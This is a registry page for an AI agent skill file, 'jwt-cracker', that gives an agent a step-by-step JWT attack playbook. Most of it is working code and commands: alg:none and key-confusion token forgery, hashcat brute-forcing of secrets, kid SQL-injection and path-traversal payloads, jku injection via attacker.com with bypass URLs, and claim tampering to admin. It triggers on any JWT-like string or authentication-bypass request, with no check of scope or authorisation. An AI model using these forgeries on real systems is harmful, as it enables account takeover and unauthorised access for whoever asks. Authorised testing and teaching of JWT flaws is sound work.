jwt-cracker
Skill37 starsChanged 5 months agoMITView on GitHub
Full JWT attack methodology alg:none, RS256 to HS256 confusion, weak secret brute-force, kid injection, jku/jwk injection, and claim tampering. Trigger when the user asks to test JWT tokens, authentication bypass, or token forgery, wants to try alg:none/algorithm confusion/weak secret brute-force, needs to test kid/jku/x5u/jwk injection, asks to check if exp/iss/aud claims are validated, is trying to bypass authentication on an API or web app, or provides a string that looks like a JWT.
- Installs packages
In this repository38 other files it gives its agents.
- ad-breachSkill
- ai-llm-hunterSkill
- attack-surfaceSkill
- bugbounty-reporterSkill
- cavemanSkill
- check-exploitSkill
- clickjacking-hunterSkill
- compliance-gap-analyzerSkill
- control-lookupSkill
- ctf-writeupSkill
- cvss-scorerSkill
- deadangleSkill
- droid-reconSkill
- economist-attackSkill
- engagement-handoffSkill
- finding-writerSkill
- find-skillsSkill
- graphql-raiderSkill
- hexstrike-forgeSkill
- high-severity-hunterSkill
- hpp-hunterSkill
- idor-hunterSkill
- js-analyzerSkill
- less-aggressive-attackSkill
- less-noise-attackSkill
- nuclei-template-writerSkill
- pentest-reportSkill
- redirect-forgeSkill
- redmindSkill
- remediation-plannerSkill
- risk-assessorSkill
- scope-grillSkill
- skill-benchmarkSkill
- ssrf-hunterSkill
- ssti-hunterSkill
- vuln-diagnoseSkill
- xss-hunterSkill
- xxe-phantomSkill
The file
We split this skill into the rules it gives an agent
7 rules. About 0 are common, 4 are distinctive, and 3 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈4
Distinctive · estimate
This author's own choices. Worth a look.
3
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 27
Read the header carefully: note alg, kid, jku, x5u, jwk.
- Distinctive: line 334
What: After any successful forgery technique, modify these claims for maximum impact:
- Distinctive: line 384
If the server accepts either — the claims are not validated.
- Very specific: line 386
Cross-service relay: if multiple microservices share a signing key but each should only accept tokens for itself, a token issued for …
- Very specific: line 396
Use it directly on Service B (e.g., /internal/api, /admin, another subdomain)
- Distinctive: line 397
Look for microservices via JS files, API docs, subdomains, or error messages
- Distinctive: line 403
Before choosing attacks, collect:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
JWT Attack Methodology
JWT tokens look like: header.payload.signature (base64url-encoded, dot-separated).
A JWT vulnerability means the server accepts a token it should reject — either because the signature check is weak, skipped, or bypassable.
Before anything else — decode the token:
# Split and decode (no verification)
echo "HEADER_PART" | base64 -d 2>/dev/null | python3 -m json.tool
echo "PAYLOAD_PART" | base64 -d 2>/dev/null | python3 -m json.tool
# Or one-liner:
python3 -c "
import base64, json, sys
t = sys.argv[1].split('.')
for part in t[:2]:
pad = part + '=' * (-len(part) % 4)
print(json.dumps(json.loads(base64.urlsafe_b64decode(pad)), indent=2))
" "YOUR.JWT.HERE"Read the header carefully: note alg, kid, jku, x5u, jwk. These fields drive which attacks to try first.
Attack Index
| # | Attack | Trigger condition |
| 1 | alg: none | Any JWT — always try |
| 2 | RS256 → HS256 confusion | alg: RS256 or ES256 in header |
| 3 | Weak HMAC secret | alg: HS256/384/512 |
| 4 | kid SQL injection | kid field present in header |
| 5 | kid path traversal | kid field looks like a filename/path |
| 6 | jku / x5u header injection | jku or x5u field present |
| 7 | Embedded jwk injection | No jwk in header → try injecting one |
| 8 | Claim tampering (no sig check) | After any successful forgery |
| 9 | Expired token acceptance | exp claim present |
| 10 | aud / iss not validated | Claims present — try removing/changing them |
| 11 | Token relay / wrong context | Multiple services share tokens |
Work through them top to bottom; stop and document when one succeeds.
Attack 1 — alg: none (No Signature Required)
What: Server accepts a token with "alg":"none" and an empty signature — effectively skipping verification.
How:
import base64, json
def b64url(data):
if isinstance(data, str): data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# Craft header with alg:none
header = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
# Modify payload as desired (e.g. escalate role, change user id)
payload = b64url(json.dumps({"sub": "1", "role": "admin", "username": "alice"}))
token_none = f"{header}.{payload}." # empty signature
token_none_var = f"{header}.{payload}" # no trailing dot variant
print(token_none)
print(token_none_var)Variants to try (servers may check case-sensitively):
"alg": "none""alg": "None""alg": "NONE""alg": "nOnE"
Confirm: send the forged token in Authorization: Bearer <token>. If the server returns a 200 with the modified user's data → confirmed.
Attack 2 — Algorithm Confusion: RS256 → HS256
What: The server uses RS256 (asymmetric). The public key is obtainable. If the library accepts HS256, an attacker can use the public key as the HMAC secret to forge valid tokens.
Why it works: The server verifies RS256 signatures with the public key. If the library is told alg: HS256, it expects HMAC-SHA256 with a symmetric secret. If that secret happens to be the public key, verification passes.
Step 1 — Obtain the public key:
# Common locations
curl https://target.com/.well-known/jwks.json
curl https://target.com/oauth/discovery
curl https://target.com/api/auth/keys
curl https://target.com/.well-known/openid-configuration # → find jwks_uri
# Also check: /api/keys, /auth/certs, /v1/keysConvert JWK to PEM if needed:
# pip install cryptography
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.primitives import serialization
import base64, json
jwk = json.loads(open('jwk.json').read()) # the 'n' and 'e' fields
def b64int(s):
return int.from_bytes(base64.urlsafe_b64decode(s + '=='), 'big')
pub = RSAPublicNumbers(b64int(jwk['e']), b64int(jwk['n'])).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())Step 2 — Sign with HS256 using the public key as secret:
import jwt # pip install pyjwt
from cryptography.hazmat.primitives import serialization
with open('public.pem', 'rb') as f:
pubkey_bytes = f.read()
payload = {"sub": "1", "role": "admin", "username": "alice"}
# Use the raw PEM bytes as the HMAC secret
token = jwt.encode(payload, pubkey_bytes, algorithm="HS256")
print(token)Alternative — jwt_tool:
python3 jwt_tool.py TOKEN -X k -pk public.pemAttack 3 — Weak HMAC Secret (Brute-Force)
What: The server uses HS256/384/512 with a short, guessable, or default secret.
Wordlist sources:
- Common defaults:
secret,password,jwt,changeme,supersecret,your-256-bit-secret,qwerty,123456, application name, domain name - Full wordlist: see
references/jwt-secrets.txt
Tools:
# hashcat (GPU — fastest)
hashcat -a 0 -m 16500 token.txt /path/to/wordlist.txt
# john
john --format=HMAC-SHA256 --wordlist=wordlist.txt token.txt
# jwt_tool
python3 jwt_tool.py TOKEN -C -d wordlist.txt
# Online: https://crackstation.net (paste the full JWT)If secret found — forge any token:
import jwt
secret = "found_secret"
payload = {"sub": "1", "role": "admin", "iat": 1700000000}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)Attack 4 — kid SQL Injection
What: The kid (Key ID) header tells the server which key to fetch from a database. If the value is used in a SQL query unsanitized, it's injectable.
Header looks like: {"alg":"HS256","kid":"1"} or {"alg":"HS256","kid":"user-key-prod"}
Goal: make the database return a known value as the key, then sign the token with that value.
Payload to inject into kid:
' UNION SELECT 'attackersecret'--
" UNION SELECT 'attackersecret'--
1' OR '1'='1Craft the forged token:
import jwt, json, base64
# Manually build the header (pyjwt won't let you set kid easily)
def b64url(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b'=').decode()
header = {"alg": "HS256", "kid": "' UNION SELECT 'attackersecret'--"}
payload = {"sub": "1", "role": "admin"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
import hmac, hashlib
secret = b"attackersecret"
sig = hmac.new(secret, f"{h}.{p}".encode(), hashlib.sha256).digest()
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
print(f"{h}.{p}.{s}")jwt_tool shortcut:
python3 jwt_tool.py TOKEN -I -hc kid -hv "' UNION SELECT 'attackersecret'--" -S hs256 -p "attackersecret"Attack 5 — kid Path Traversal
What: kid is used to load a key from the filesystem. If traversal is possible, point it to a file with a known value (e.g. /dev/null → empty string, or a static file).
Payloads:
../../../../../../dev/null
/dev/null
../../../etc/passwd (to observe behavior)
../../public/logo.png (known content → use as secret)If kid → /dev/null (empty file), sign with empty string:
import jwt
header = {"alg": "HS256", "kid": "../../../../../../dev/null"}
payload = {"sub": "1", "role": "admin"}
# Sign with empty string (contents of /dev/null)
token = jwt.encode(payload, "", algorithm="HS256",
headers={"kid": "../../../../../../dev/null"})
print(token)Attack 6 — jku / x5u Header Injection
What: jku (JWK Set URL) tells the server where to fetch the public key. If the server fetches it without domain validation, point it to an attacker-controlled server with a generated key pair.
Step 1 — Generate a key pair:
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
import json, base64
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = key.public_key().public_numbers()
def to_b64(n):
return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8,'big')).rstrip(b'=').decode()
jwks = {"keys": [{"kty":"RSA","n":to_b64(pub.n),"e":to_b64(pub.e),"alg":"RS256","use":"sig","kid":"attacker"}]}
print(json.dumps(jwks, indent=2)) # serve this at your URLStep 2 — Host the JWKS (any public URL you control, e.g. webhook.site, Burp Collaborator, your own VPS):
https://attacker.com/jwks.jsonStep 3 — Forge the token:
import jwt
with open('attacker_private.pem', 'rb') as f:
private_key = f.read()
payload = {"sub": "1", "role": "admin"}
token = jwt.encode(payload, private_key, algorithm="RS256",
headers={"jku": "https://attacker.com/jwks.json", "kid": "attacker"})
print(token)Bypass attempts if the server validates the domain:
https://target.com@attacker.com/jwks.json
https://attacker.com/jwks.json?cb=https://target.com
https://target.com/redirect?url=https://attacker.com/jwks.jsonSame logic applies to x5u — just serve a self-signed certificate chain instead of JWKS.
Attack 7 — Embedded jwk Injection
What: The jwk header embeds the public key directly inside the token. If the server trusts the embedded key without validating it against a whitelist, you can inject your own key pair.
Step 1 — Generate key pair (same as Attack 6)
Step 2 — Forge token with embedded jwk:
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = key.public_key().public_numbers()
def to_b64(n):
return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8,'big')).rstrip(b'=').decode()
jwk_obj = {"kty":"RSA","n":to_b64(pub.n),"e":to_b64(pub.e)}
private_pem = key.private_bytes(serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption())
payload = {"sub": "1", "role": "admin"}
token = jwt.encode(payload, private_pem, algorithm="RS256",
headers={"jwk": jwk_obj})
print(token)jwt_tool shortcut:
python3 jwt_tool.py TOKEN -X i # injects self-signed jwkAttack 8 — Claim Tampering
What: After any successful forgery technique, modify these claims for maximum impact:
| Claim | Attack |
sub / user_id / id | Change to another user's ID → horizontal IDOR |
role / groups / scope | "user" → "admin", "superuser", "staff" |
email | Change to victim's email |
is_admin / is_staff | false → true |
plan / tier | "free" → "premium" |
permissions | Add "*", "write", "delete" |
org_id / tenant_id | Switch to another org's ID |
exp | Set to far future (year 9999) |
Always try admin/privileged endpoints after forging:
curl https://target.com/api/admin/users -H "Authorization: Bearer FORGED_TOKEN"
curl https://target.com/api/admin/config -H "Authorization: Bearer FORGED_TOKEN"Attack 9 — Expired Token Acceptance
What: Server doesn't validate the exp claim — old tokens work forever.
Test:
# Take a token you had yesterday (or an old one from logs/history)
curl https://target.com/api/profile -H "Authorization: Bearer OLD_EXPIRED_TOKEN"Also try: setting exp to a past timestamp while using a valid signature — if the server accepts it, exp is not validated.
Attack 10 — iss / aud Not Validated
What: Server doesn't verify who issued the token or who it's intended for.
Test — remove the claims entirely:
# Craft a token with no iss/aud
payload = {"sub": "1", "role": "admin"} # no iss, no audTest — change to arbitrary values:
payload = {"sub": "1", "iss": "https://evil.com", "aud": "different-service"}If the server accepts either — the claims are not validated.
Cross-service relay: if multiple microservices share a signing key but each should only accept tokens for itself, a token issued for Service A may work on Service B if aud is not validated.
Attack 11 — Token Relay (Cross-Service Misuse)
What: A token scoped for one service works on another because they share the same secret/key and don't validate aud or iss.
Test:
- Get a token from Service A (e.g.,
/api/auth) - Use it directly on Service B (e.g.,
/internal/api,/admin, another subdomain) - Look for microservices via JS files, API docs, subdomains, or error messages
Quick Recon Checklist
Before choosing attacks, collect:
# 1. Decode your token
python3 -c "import base64,json,sys; [print(json.dumps(json.loads(base64.urlsafe_b64decode(p+'===='[:(-len(p))%4+4]),indent=2)) or '') for p in sys.argv[1].split('.')[:2]]" "YOUR.JWT.TOKEN"
# 2. Hunt for public keys
for path in /.well-known/jwks.json /api/keys /oauth/certs /auth/keys /jwks /.well-known/openid-configuration; do
code=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path)
echo "$code $path"
done
# 3. Check error messages — they often leak library name/version
curl https://target.com/api/profile -H "Authorization: Bearer invalid.token.here"
# 4. Check JS bundles for JWT library and secret hints
curl -s https://target.com/app.js | grep -Ei "jwt|secret|signing|HS256|RS256|verify"Tool Reference
See references/tools.md for detailed usage of:
- jwt_tool — the primary CLI tool for all JWT attacks
- hashcat / john — HMAC secret brute-force
- pyjwt — Python library for crafting tokens
- Burp JWT Editor — in-proxy attack suite
See references/jwt-secrets.txt for the brute-force wordlist.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

